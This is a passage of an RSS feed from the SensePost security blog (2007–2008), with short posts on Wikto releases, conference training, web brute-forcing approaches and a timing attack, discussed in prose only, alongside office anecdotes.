				<description>&lt;p&gt;Black Hat DC this year is supposed to be &amp;#8220;a different kind of Black Hat&amp;#8221;. There are four tracks over the two days with a special emphasis on wireless and speakers include Chris Wysopal, FX from Phenoelit, Job de Haas, and Adam Laurie. The smaller shows are always good fun and good value for money and DC this year promises to have an excellent line-up of speakers.&lt;/p&gt;&#xA;&lt;p&gt;As usual training courses are offered on the two days before the briefings begin. Its been a while since we trained at DC but this year we&amp;#8217;re back with a Bootcamp course. The course is filing up nicely, so we&amp;#8217;re totally stoked. Like the show, the courses tend to be smaller and more personal so if you&amp;#8217;ve never attended a Hacking By Numbers&lt;br /&gt;&#xA;&amp;#8216;Bootcamp&amp;#8217; course before then this is a great opportunity. Bootcamp Edition teaches a method-based approach to hacking into networks and systems over the Internet. The method taught consists of seven distinct phases that each have their own objectives, techniques and tools. Students are provided with fully-configured laptop computers that are used stage-for-stage to complete fifteen different technical exercises. You can learn more or enroll &lt;a href=&#34;http://www.blackhat.com/html/bh-dc-08/train-bh-dc-08-sp-b.html&#34; target=&#34;_blank&#34; title=&#34;Black Hat DC&#34;&gt;here&lt;/a&gt;&amp;#8230; otherwise contact us via training@sensepost.com if you&amp;#8217;d like some more information.&lt;/p&gt;</description>
			</item>
			<item>
				<title>John Heasman is now Blogging..</title>
				<link>https://sensepost.com/blog/2008/john-heasman-is-now-blogging../</link>
				<pubDate>Sat, 26 Jan 2008 20:34:21 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/john-heasman-is-now-blogging../</guid>
				<description>&lt;p&gt;John is one of the bright guys over at NGS, and judging by his track record will boost the signal to noise ratio in the blogosphere.. You can read him at [&lt;a href=&#34;http://heasman.blogspot.com&#34; target=&#34;_blank&#34;&gt;aut disce, aut discede&lt;/a&gt;]&lt;/p&gt;&#xA;&lt;p&gt;(of course, in truth.. i woulda linked to the blog just because i love the title (aut disce, aut discede &amp;#8211; Either learn or leave))&lt;/p&gt;</description>
			</item>
			<item>
				<title>On working when everyone else is asleep…</title>
				<link>https://sensepost.com/blog/2008/on-working-when-everyone-else-is-asleep/</link>
				<pubDate>Wed, 23 Jan 2008 04:50:12 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/on-working-when-everyone-else-is-asleep/</guid>
				<description>&lt;p&gt;This quote reminded of something H always says:&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8220;When opportunity comes&amp;#8230; its too late to prepare&amp;#8221;&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8211; John Wooden &amp;#8211; Hall of Fame Basketball coach&lt;/p&gt;</description>
			</item>
			<item>
				<title>Eerie coincidences..</title>
				<link>https://sensepost.com/blog/2008/eerie-coincidences../</link>
				<pubDate>Tue, 15 Jan 2008 20:34:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/eerie-coincidences../</guid>
				<description>&lt;p&gt;a) its my birthday in a few days&lt;/p&gt;&#xA;&lt;p&gt;b) &lt;a href=&#34;http://www.apple.com/macbookair/&#34; target=&#34;_blank&#34;&gt;Apple just announced the new macbookair..&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Coincidence??? i think not!!!&lt;/p&gt;&#xA;&lt;p align=&#34;center&#34;&gt;&lt;a  href=&#34;https://sensepost.com/img/pages/blog/2008/eerie-coincidences/3be250661dd0a21f87752b636d91b329.PNG&#34; title=&#34;air.PNG&#34;&gt;&lt;img alt=&#34;air.PNG&#34; height=&#34;96&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/eerie-coincidences/1566bd9c351d0be229aa31c891dd46ca.PNG&#34; width=&#34;89&#34; /&gt;&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Is URL / Variable Name the new Port Number ??</title>
				<link>https://sensepost.com/blog/2008/is-url-/-variable-name-the-new-port-number/</link>
				<pubDate>Thu, 10 Jan 2008 08:41:57 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/is-url-/-variable-name-the-new-port-number/</guid>
				<description>&lt;p&gt;There has been a fair bit of blog buzz about the new SQL Injection worm that ran around infecting sites. I have not looked too deeply into it, but have not yet seen accounts of how the targeting was done. Since the sites do not appear to have been running a common framework i would guess that it was search-engine generated targets based on resource name (like inurl: search.asp)..&lt;/p&gt;&#xA;&lt;p&gt;For ages we have been telling people that if they had to have a /admin/admin.asp on their internet facing web-app that they would at least help minimize their exposure a little by naming it /admin_[bet_u_dont_find_this]/admin_[another_variable].asp&lt;/p&gt;</description>
			</item>
			<item>
				<title>Strange Entries in your wbeserver logs, Wikto and questions about our Gender!</title>
				<link>https://sensepost.com/blog/2008/strange-entries-in-your-wbeserver-logs-wikto-and-questions-about-our-gender/</link>
				<pubDate>Tue, 08 Jan 2008 15:57:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/strange-entries-in-your-wbeserver-logs-wikto-and-questions-about-our-gender/</guid>
				<description>&lt;p&gt;Over the past while we have been getting emails from people trying to figure out why they had entries like this in their http log files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;10.10.1.136 &amp;#8211; &amp;#8211; [32/Dec/2007:25:61:07 +0200] &amp;#8220;GET //admin/dat_Gareth_at_sensepost_hackslikeagirl_.asp HTTP/1.1&amp;#8221; 404 &amp;#8211;&lt;/strong&gt;&lt;br /&gt;&#xA;Recently a concerned Wikto user figured out that this was linked to him using &lt;a href=&#34;http://www.sensepost.com/research/wikto&#34; target=&#34;_blank&#34;&gt;Wikto (our Win32 Nikto Replacement + Directory / File / Back-End Miner)&lt;/a&gt;. A snippet from his email read:&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;I sniffed the traffic going out from my host going to the target host and infact this is the result:&lt;br /&gt;&#xA;HTTP  GET  /admin/dat_Gareth_at_sensepost_hackslikeagirl_.asp HTTP/1.0&lt;br /&gt;&#xA;All the requests are full of this&amp;#8230; Well, at this point the questions are two:&lt;br /&gt;&#xA;1) You have a strange sense of humor.&lt;br /&gt;&#xA;2) You have been compromised. Waiting for a feedback,&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wikto 2 Bugfix</title>
				<link>https://sensepost.com/blog/2008/wikto-2-bugfix/</link>
				<pubDate>Thu, 03 Jan 2008 12:32:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/wikto-2-bugfix/</guid>
				<description>&lt;p&gt;A seasonal Wikto version was released on the 22nd (Version 2.0.2911-20215) which has an issue with the web spider funtionality.&lt;/p&gt;&#xA;&lt;p&gt;HTTPS requests are being made in plain text, and this obviously means that attempts to spider such sites will not work.&lt;/p&gt;&#xA;&lt;p&gt;A bug fix for this is available from &lt;a href=&#34;http://www.sensepost.com/research/wikto&#34; target=&#34;_blank&#34;&gt;www.sensepost.com&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks to Mark Murdock for the heads up.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Two pointless excuses to post two pictures..</title>
				<link>https://sensepost.com/blog/2008/two-pointless-excuses-to-post-two-pictures../</link>
				<pubDate>Thu, 03 Jan 2008 09:41:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/two-pointless-excuses-to-post-two-pictures../</guid>
				<description>&lt;p&gt;a) At the end of the year we usually end up getting geek-gifts.. from SensePost, to SensePost.. Last years iPod nano&amp;#8217;s were always going to be a tough act to follow.. but i think the picture says it all:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a  href=&#34;https://sensepost.com/img/pages/blog/2008/two-pointless-excuses-to-post-two-pictures/58b6660925e6f8726b5c2512d1e6c8a6.png&#34; title=&#34;garmin.png&#34;&gt;&lt;/p&gt;&#xA;&lt;div&gt;&lt;a  href=&#34;https://sensepost.com/img/pages/blog/2008/two-pointless-excuses-to-post-two-pictures/58b6660925e6f8726b5c2512d1e6c8a6.png&#34; title=&#34;garmin.png&#34;&gt;&lt;img alt=&#34;garmin.png&#34; height=&#34;243&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2008/two-pointless-excuses-to-post-two-pictures/20c545edfc03ec35018a769c0ae69288.png&#34; width=&#34;309&#34; /&gt;&lt;/a&gt;&lt;/div&gt;&#xA;&lt;div&gt;(click pic for clearer view)&lt;/div&gt;&#xA;&lt;p&gt;I know for those across the pond its probably going to sound 3rd world, but i was genuinely suprised at how life-changing GPS technology is.. Of course, it brings the usual geek side effects (other than people playing with Pimp my GPS). I.e. we noticed the other day that in the car park before going home, everyone was busy fiddling with their GPS units.. so suddenly, a bunch of reasonably intelligent folks who used to make the commute to the office and home daily for about 3 years need instructions on how to do it *sigh*&lt;/p&gt;</description>
			</item>
			<item>
				<title>Applescript for HTTP BruteForcing..</title>
				<link>https://sensepost.com/blog/2008/applescript-for-http-bruteforcing../</link>
				<pubDate>Tue, 01 Jan 2008 19:46:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2008/applescript-for-http-bruteforcing../</guid>
				<description>&lt;p&gt;A long time ago i blogged on the joys of using VBS to automate bruteforcing [&lt;a href=&#34;http://www.sensepost.com/blog/15.html&#34; target=&#34;_blank&#34;&gt;1&lt;/a&gt;|&lt;a href=&#34;http://www.sensepost.com/videos/4.html&#34; target=&#34;_blank&#34;&gt;2&lt;/a&gt;]when one didnt want to mess about duplicating an applications functionality at the protocol level.. Yesterday i had need to brute-force a web application which tried hard to be difficult and annoying..&lt;/p&gt;&#xA;&lt;p&gt;Normally i would have used &lt;a href=&#34;http://www.sensepost.com/research/crowbar/&#34; target=&#34;_blank&#34;&gt;crowbar&lt;/a&gt;, &lt;a href=&#34;http://www.sensepost.com/research/suru/&#34; target=&#34;_blank&#34;&gt;Suru&lt;/a&gt; or a ugly mangled Python script, but the application was strangely difficult..&lt;/p&gt;&#xA;&lt;p&gt;i.e. the login process is multi staged, with new cookies being handed out at various stages. 302 redirects are used heavily and then to top it off a healthy dose of JavaScript is sent back in replies that also affect your navigation.. Now all of this can be scripted (obviously) but i figured i would try automating Safari with &lt;a href=&#34;http://www.apple.com/applescript/&#34; target=&#34;_blank&#34;&gt;applescript&lt;/a&gt; to get the same effect..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Another time sink-hole..</title>
				<link>https://sensepost.com/blog/2007/another-time-sink-hole../</link>
				<pubDate>Sat, 29 Dec 2007 08:20:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/another-time-sink-hole../</guid>
				<description>&lt;p&gt;A while back some of us discovered and subsequently lost days to &amp;#8220;&lt;a href=&#34;http://www.pythonchallenge.com&#34; target=&#34;_blank&#34;&gt;The Python Challenge&lt;/a&gt;&amp;#8220;. Well.. prepare to write off a little more time, and check out &amp;#8220;&lt;a href=&#34;http://projecteuler.net/&#34; target=&#34;_blank&#34;&gt;Project Euler&lt;/a&gt;&amp;#8220;. From its about page:&lt;/p&gt;&#xA;&lt;p&gt;&amp;#8221;&lt;/p&gt;&#xA;&lt;p &gt;&lt;strong&gt;What is Project Euler?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&lt;p&gt;Project Euler is a series of challenging mathematical/computer programming problems that will require more than just mathematical insights to solve. Although mathematics will help you arrive at elegant and efficient methods, the use of a computer and programming skills will be required to solve most problems.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Amazon SimpleDB – Outsource your database??</title>
				<link>https://sensepost.com/blog/2007/amazon-simpledb-outsource-your-database/</link>
				<pubDate>Sun, 23 Dec 2007 12:40:20 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/amazon-simpledb-outsource-your-database/</guid>
				<description>&lt;div&gt;&lt;img alt=&#34;amazon-ws.gif&#34; height=&#34;51&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/amazon-simpledb-outsource-your-database/0716494665cedaafbb13c5cc5a8dbdb2.gif&#34; width=&#34;128&#34; /&gt;&lt;/div&gt;&#xA;&lt;p&gt;Amazon announced the &lt;a href=&#34;http://www.amazon.com/b/ref=sc_fe_c_1_3435361_3?ie=UTF8&amp;#038;node=342335011&amp;#038;no=3435361&amp;#038;me=A36L942TSJ2AJA&#34; target=&#34;_blank&#34;&gt;beta of Amazon SimpleDB&lt;/a&gt; without that much fanfare, but it is an interesting trend to watch..&lt;/p&gt;&#xA;&lt;p&gt;Essentially amazon are giving the power of a database to people used to excel and simple queries, backed by their massively optimised infrastructure. It will make popping up a web shop even more trivial than it has been in the past, and i guess continues along the growing trend of allowing &amp;#8220;content to be king&amp;#8221;. i.e. u dont need a sql geek in your corner, just a good idea .&lt;/p&gt;</description>
			</item>
			<item>
				<title>The coolest thing this weekend…</title>
				<link>https://sensepost.com/blog/2007/the-coolest-thing-this-weekend/</link>
				<pubDate>Tue, 18 Dec 2007 08:12:05 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/the-coolest-thing-this-weekend/</guid>
				<description>&lt;p&gt;Ok.. so being the cautious geek i am, i had bought a mac mini a while back before jumping into the OS X waters.. Unfortunately it was probably the last PPC mac mini&amp;#8217;s sold, which means it has limited options (unless i convert it to yellowdog or somethign of the sort).&lt;/p&gt;&#xA;&lt;p&gt;About 4 months ago i bought a (huuuuge) tv.. unfortunately i quickly figured out that the reason i never bothered with one before is that there isnt really anything decent on tv, and deels and i still spent more time watching googlevids than anythign else..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Rob Auger from OWASP/WASC/CGiSecurity on Timing..</title>
				<link>https://sensepost.com/blog/2007/rob-auger-from-owasp/wasc/cgisecurity-on-timing../</link>
				<pubDate>Tue, 11 Dec 2007 08:33:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/rob-auger-from-owasp/wasc/cgisecurity-on-timing../</guid>
				<description>&lt;p&gt;Rob had a &lt;a href=&#34;http://www.cgisecurity.com/2007/12/08&#34; target=&#34;_blank&#34;&gt;rant on his site&lt;/a&gt; on the timing attack, with a CSRF twist.. We met him after our Vegas talk, but im not really sure how his attack differs from our published one..&lt;/p&gt;&#xA;&lt;p&gt;my on-list response:&lt;/p&gt;&#xA;&lt;pre&gt;-snip-&#xA;From: haroon meer &#xA;To: bugtraq@cgisecurity.net&#xA;Cc: websecurity@webappsec.org&#xA;Subject: Re: [WEB SECURITY] Performing Distributed Brute Forcing of CSRF&#xA;vulnerable login pages&#xA;&lt;p&gt;Hi Robert..&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the kind words on the talk.. If you check out the visio at:&#xA;&lt;a href=&#34;http://www.sensepost.com/blogstatic/2007/08/dxsrt.png&#34; target=&#34;_blank&#34;&gt;&lt;a href=&#34;http://www.sensepost.com/blogstatic/2007/08/dxsrt.png&#34;&gt;http://www.sensepost.com/blogstatic/2007/08/dxsrt.png&lt;/a&gt;&lt;/a&gt; you will see that&#xA;its pretty much the same attack..&#xA;In a shameless display of self-pimpage, check out the paper&#xA;&lt;a href=&#34;http://www.sensepost.com/research/squeeza/dc-15-meer_and_slaviero-WP.pdf&#34; target=&#34;_blank&#34;&gt;&lt;a href=&#34;http://www.sensepost.com/research/squeeza/dc-15-meer_and_slaviero-WP.pdf&#34;&gt;http://www.sensepost.com/research/squeeza/dc-15-meer_and_slaviero-WP.pdf&lt;/a&gt; &lt;/a&gt;&#xA;from page 12.. Figure 23 for example shows the results in a&#xA;victim/zombies browser, after he has visited our page.. Effectively he&#xA;tries the userlist we send him (in this case on a standard squirrelmail&#xA;login page). Once he detects a timing diff (again using a trivial&#xA;algorithm to avoid latency disparity) he simply makes another request to&#xA;the attacker to report his success..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Casper and hidden IE windows..</title>
				<link>https://sensepost.com/blog/2007/casper-and-hidden-ie-windows../</link>
				<pubDate>Thu, 06 Dec 2007 21:33:11 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/casper-and-hidden-ie-windows../</guid>
				<description>&lt;p&gt;OK.. so it was a long time ago, and old code is supposed to embarrass&lt;br /&gt;&#xA;you.. but i pulled casper.exe form our &lt;a href=&#34;http://www.sensepost.com/research_tools.html&#34; target=&#34;_blank&#34;&gt;webpage&lt;/a&gt;&lt;a href=&#34;http://www.sensepost.com/research_tools.html&#34; target=&#34;_blank&#34;&gt;  &lt;/a&gt;today&lt;br /&gt;&#xA;to test something for the project im on..&lt;/p&gt;&#xA;&lt;p&gt;interestingly it runs pretty ok, and actually doesnt look from the&lt;br /&gt;&#xA;outside as ugly as it is underneath..&lt;/p&gt;&#xA;&lt;p&gt;if you never used casper, take it for a quick spin.. if nothing else u&lt;br /&gt;&#xA;will be suprised by how many invisible windows currently live on your&lt;br /&gt;&#xA;desktop..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Dino Dai Zovi is such a Rock Star..</title>
				<link>https://sensepost.com/blog/2007/dino-dai-zovi-is-such-a-rock-star../</link>
				<pubDate>Thu, 06 Dec 2007 21:18:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/dino-dai-zovi-is-such-a-rock-star../</guid>
				<description>&lt;p&gt;Dino is the guy who added much shellcode coolness to MetaSploit, gave&lt;br /&gt;&#xA;the world Karma, released the first virtualization rootkit for Intel&lt;br /&gt;&#xA;(Vitriol), and gave much credibility to the Matasano crowd while he was&lt;br /&gt;&#xA;there..&lt;/p&gt;&#xA;&lt;p&gt;Although he left the consultancy gig, he popped up briefly again during&lt;br /&gt;&#xA;the year to claim his macbook in the &lt;a href=&#34;http://www.news.com/2100-7349_3-6178131.html&#34; target=&#34;_blank&#34;&gt;Cansec Hack the Mac challenge&lt;/a&gt; and&lt;br /&gt;&#xA;popped up again to break second-life..&lt;/p&gt;</description>
			</item>
			<item>
				<title>The fine line between failure and success</title>
				<link>https://sensepost.com/blog/2007/the-fine-line-between-failure-and-success/</link>
				<pubDate>Sat, 01 Dec 2007 10:24:45 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/the-fine-line-between-failure-and-success/</guid>
				<description>&lt;p&gt;So&amp;#8230;because I don&amp;#8217;t have a report to write this weekend I&amp;#8217;ve had some&lt;br /&gt;&#xA;time to ponder and reflect on stuff (and read my mail)- I thought I&amp;#8217;d&lt;br /&gt;&#xA;share some stuff that came to the fore of my mind again now when reading&lt;br /&gt;&#xA;a newsletter.&lt;/p&gt;&#xA;&lt;p&gt;Since the early days of playing competitive sport (in those days it was&lt;br /&gt;&#xA;paintball) I&amp;#8217;ve always been astounded as to the intensity of the&lt;br /&gt;&#xA;emotions involved when you win and when you lose. Particularly how when&lt;br /&gt;&#xA;you are on a losing streak (or your personal game just sucks) it&amp;#8217;s&lt;br /&gt;&#xA;really tough to drag yourself out of that and come back kicking ass. I&lt;br /&gt;&#xA;hate to lose&amp;#8230;I really hate it&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Google as an MD5 Cracker..</title>
				<link>https://sensepost.com/blog/2007/google-as-an-md5-cracker../</link>
				<pubDate>Wed, 21 Nov 2007 09:30:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/google-as-an-md5-cracker../</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://it.slashdot.org/article.pl?sid=07/11/20/1914209&amp;#038;from=rss&#34; target=&#34;_blank&#34;&gt;Slashdot&lt;/a&gt; picked up on the blog post from &lt;a href=&#34;http://www.lightbluetouchpaper.org/2007/11/16/google-as-a-password-cracker/&#34; target=&#34;_blank&#34;&gt;Light Blue TouchPaper&lt;/a&gt; commenting on the fact that a researcher was suprised to discover that simply putting an md5 hash into google returned a hit with a mapping to the original word..&lt;/p&gt;&#xA;&lt;p&gt;This is an interesting concept.. A while back, we decided to fiddle with the concept of using googles indexing and spidering as a new take on the &lt;a href=&#34;http://en.wikipedia.org/wiki/Space-time_tradeoff&#34; target=&#34;_blank&#34;&gt;time/space trade-off&lt;/a&gt; for password cracking..&lt;/p&gt;</description>
			</item>
			<item>
				<title>Follow-up (OS X BSOD Win32 Icons)</title>
				<link>https://sensepost.com/blog/2007/follow-up-os-x-bsod-win32-icons/</link>
				<pubDate>Fri, 02 Nov 2007 08:24:44 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/follow-up-os-x-bsod-win32-icons/</guid>
				<description>&lt;p&gt;Of course, Leopard&amp;#8217;s new improved &amp;#8482; finder includes an Itunes&amp;#8217;esque &amp;#8220;Cover Flow&amp;#8221; view (which includes quick view thumbnailing quite impressively)..&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;view.PNG&#34; height=&#34;348&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/follow-up-os-x-bsod-win32-icons/c6f1fcc541ae6d9fddc06c9148f86c05.PNG&#34; width=&#34;544&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Of course, it means you get a better look at the win32 &amp;#8211; BSOD :&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bsod2.PNG&#34; height=&#34;397&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/follow-up-os-x-bsod-win32-icons/ca6d4ba16019d4baec58fe35c7ee1915.PNG&#34; width=&#34;522&#34; /&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Rational vs Emotional Commitment</title>
				<link>https://sensepost.com/blog/2007/rational-vs-emotional-commitment/</link>
				<pubDate>Thu, 01 Nov 2007 15:35:38 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/rational-vs-emotional-commitment/</guid>
				<description>&lt;p&gt;I&amp;#8217;ve spoken before on how I like some of Simon T Bailey&amp;#8217;s stuff and his&lt;br /&gt;&#xA;general leetnesses&amp;#8230;he has some gems&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;This one, on rational vs emotional commitment is quite leet and touches&lt;br /&gt;&#xA;on a discussion we had over lunch&amp;#8230;&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;You might be wondering about the difference between rational and&lt;br /&gt;&#xA;emotional commitment.&lt;/p&gt;&#xA;&lt;p&gt;Rational commitment is the â€œwhatâ€ that you agree to give an organization&lt;br /&gt;&#xA;when youâ€&lt;img alt=&#34;™&#34;  src=&#34;https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png&#34; /&gt;re hired: your time, talent and energy in exchange for&lt;br /&gt;&#xA;financial compensation, professional development opportunities and the&lt;br /&gt;&#xA;chance to fulfill your career ambitions.&lt;/p&gt;</description>
			</item>
			<item>
				<title>i know this has been blogged all over the interwebs..</title>
				<link>https://sensepost.com/blog/2007/i-know-this-has-been-blogged-all-over-the-interwebs../</link>
				<pubDate>Wed, 31 Oct 2007 23:34:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/i-know-this-has-been-blogged-all-over-the-interwebs../</guid>
				<description>&lt;p&gt;but Leopards default icon for windows machines has to rank up there with dvwssr.dll&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;windows.png&#34; height=&#34;289&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/i-know-this-has-been-blogged-all-over-the-interwebs/05253421027c984d5b10b60fb7758eda.png&#34; width=&#34;507&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;(yeah.. thats a BSOD)&lt;/p&gt;&#xA;&lt;p&gt;/mh&lt;/p&gt;&#xA;&lt;p&gt;ok.. who&amp;#8217;s old enough? what was the similarity between this and dvwssr.dll ?&lt;/p&gt;</description>
			</item>
			<item>
				<title>Mind Control, Big Cats, Feynman &amp;&amp; kiosks…</title>
				<link>https://sensepost.com/blog/2007/mind-control-big-cats-feynman-kiosks/</link>
				<pubDate>Mon, 29 Oct 2007 07:20:10 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/mind-control-big-cats-feynman-kiosks/</guid>
				<description>&lt;p&gt;Aka&amp;#8230; A good weekend..&lt;/p&gt;&#xA;&lt;p&gt;The weekend got off to a slow start, when Amazon claimed it would take a little longer than planned to ship us the &amp;#8220;Web Application Hackers Handbook&amp;#8221;. Fortunately it picked up after that..&lt;/p&gt;&#xA;&lt;p&gt;The first ray of light was finding a new strange bug on a huge application that smells a lot like full remote code execution.. Then the office had a power-outage and i felt the rage building.. drove to the office to collect my stuff mumbling statements related to 3rd world and feeling sorry for myself, but.. i needed to complete a report and needed to be in JHB later that night, so decided to stop off in Sandton City where i could work for a bit (exclusive books: coffee + gprs + deels could enjoy herself too)&lt;/p&gt;</description>
			</item>
			<item>
				<title>PauldotCom Interview, Part I</title>
				<link>https://sensepost.com/blog/2007/pauldotcom-interview-part-i/</link>
				<pubDate>Thu, 25 Oct 2007 09:50:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/pauldotcom-interview-part-i/</guid>
				<description>&lt;p&gt;OK.. so &lt;a href=&#34;http://www.pauldotcom.com/2007/10/21/pauldotcom_security_weekly_spe_12.html&#34; target=&#34;_blank&#34;&gt;part one of our pauldotcom interview has hit the interwebs&lt;/a&gt;.. it was fun and involved a power failure and a dog that chewed through charl&amp;#8217;s microphone cable about 15 minutes before the interview started..&lt;/p&gt;&#xA;&lt;p&gt;My thoughts on it were best expressed earlier on irc..&lt;/p&gt;&#xA;&lt;p&gt;-snip-&lt;/p&gt;&#xA;&lt;p&gt;12:04 &lt;+MH&gt; i sounded (cleverer/less annoying/less nasal) in my head..&lt;/p&gt;&#xA;&lt;p&gt;12:04 &lt;+MH&gt; apparently hearing ur own voice through ur teeth explains (3).. (1) and (2) i suspect are just mild delusions..&lt;/p&gt;</description>
			</item>
			<item>
				<title>22:30 to 23:30: the quiet hour</title>
				<link>https://sensepost.com/blog/2007/2230-to-2330-the-quiet-hour/</link>
				<pubDate>Fri, 19 Oct 2007 08:49:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/2230-to-2330-the-quiet-hour/</guid>
				<description>&lt;p&gt;while waiting around for the &lt;a href=&#34;http://pauldotcom.com/&#34; title=&#34;PaulDotCom&#34;&gt;PSW&lt;/a&gt; guys last night, it seemed like a good time to test our mettle on the foosball table. we&amp;#8217;ve witnessed rapid development of general foos skills in the office since the introduction of the table a few weeks ago, and the improvement in shot speed has been noticeable. of course, questions always remain as to the difference between actual and perceived velocity of shots, and the only way to answer the questions is by a clean, scientific, test.&lt;/p&gt;</description>
			</item>
			<item>
				<title>9 days to leopard…</title>
				<link>https://sensepost.com/blog/2007/9-days-to-leopard/</link>
				<pubDate>Wed, 17 Oct 2007 09:18:45 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/9-days-to-leopard/</guid>
				<description>&lt;p&gt;You can almost taste the fanboy excitement.. but im guessing there will also be the mandatory rush for the first big bug announcements..&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;cat.png&#34; height=&#34;180&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/9-days-to-leopard/e58706c74d2bf10964d0196b85e4d485.png&#34; width=&#34;345&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;There are a few things that look cool.. Apple joins the right decade with ASLR and native multi-desktops looks cool.. DTrace on osx seems like a winner too..&lt;br /&gt;&#xA;Of course, theres also the much touted: &amp;#8220;&lt;a href=&#34;http://www.apple.com/dotmac/backtomymac.html&#34; target=&#34;_blank&#34;&gt;Back to my mac&lt;/a&gt;&amp;#8221; feature:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;backtomymac_finder20071026.jpg&#34; height=&#34;195&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/9-days-to-leopard/3450465134f427fa2eb66b1d4159f70c.jpg&#34; width=&#34;302&#34; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;[&lt;a href=&#34;http://movies.apple.com/movies/us/apple/mac/dotmac/2007/dotmac_backtomymac_20071026.mov&#34; target=&#34;_blank&#34;&gt;watch video of it in action&lt;/a&gt;]&lt;/p&gt;</description>
			</item>
			<item>
				<title>MSDN Mag – Security Edition is out..</title>
				<link>https://sensepost.com/blog/2007/msdn-mag-security-edition-is-out../</link>
				<pubDate>Tue, 16 Oct 2007 21:37:52 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/msdn-mag-security-edition-is-out../</guid>
				<description>&lt;p&gt;&lt;img align=&#34;left&#34; alt=&#34;November07cover.gif&#34; src=&#34;https://sensepost.com/img/pages/blog/2007/msdn-mag-security-edition-is-out/29cbfa37529912039a21ecb2e1d4492e.gif&#34; title=&#34;November07cover.gif&#34; /&gt; The November edition of MSDN magazine [&lt;a href=&#34;http://msdn.microsoft.com/msdnmag/issues/07/11/&#34; target=&#34;_blank&#34;&gt;is available&lt;/a&gt;] and is another security issue.. The articles look interesting, and if you look closely you should notice articles by infosec rockstars like mike howard, damien hasse and the occasional member of LSD..&lt;/p&gt;&#xA;&lt;p&gt;Grab it while its hot&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Wikto Updates</title>
				<link>https://sensepost.com/blog/2007/wikto-updates/</link>
				<pubDate>Mon, 08 Oct 2007 14:19:25 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/wikto-updates/</guid>
				<description>&lt;p&gt;A new version of Wikto is also available, which provides a more reliable web spider and also includes some minor bugfixes.&lt;/p&gt;&#xA;&lt;p&gt;More details regarding Wikto are available at &lt;a href=&#34;http://www.sensepost.com/research/wikto&#34; target=&#34;_blank&#34;&gt;http://www.sensepost.com/research/wikto&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Suru Version 2.0</title>
				<link>https://sensepost.com/blog/2007/suru-version-2.0/</link>
				<pubDate>Mon, 08 Oct 2007 14:18:39 +0000</pubDate>
				<guid>https://sensepost.com/blog/2007/suru-version-2.0/</guid>
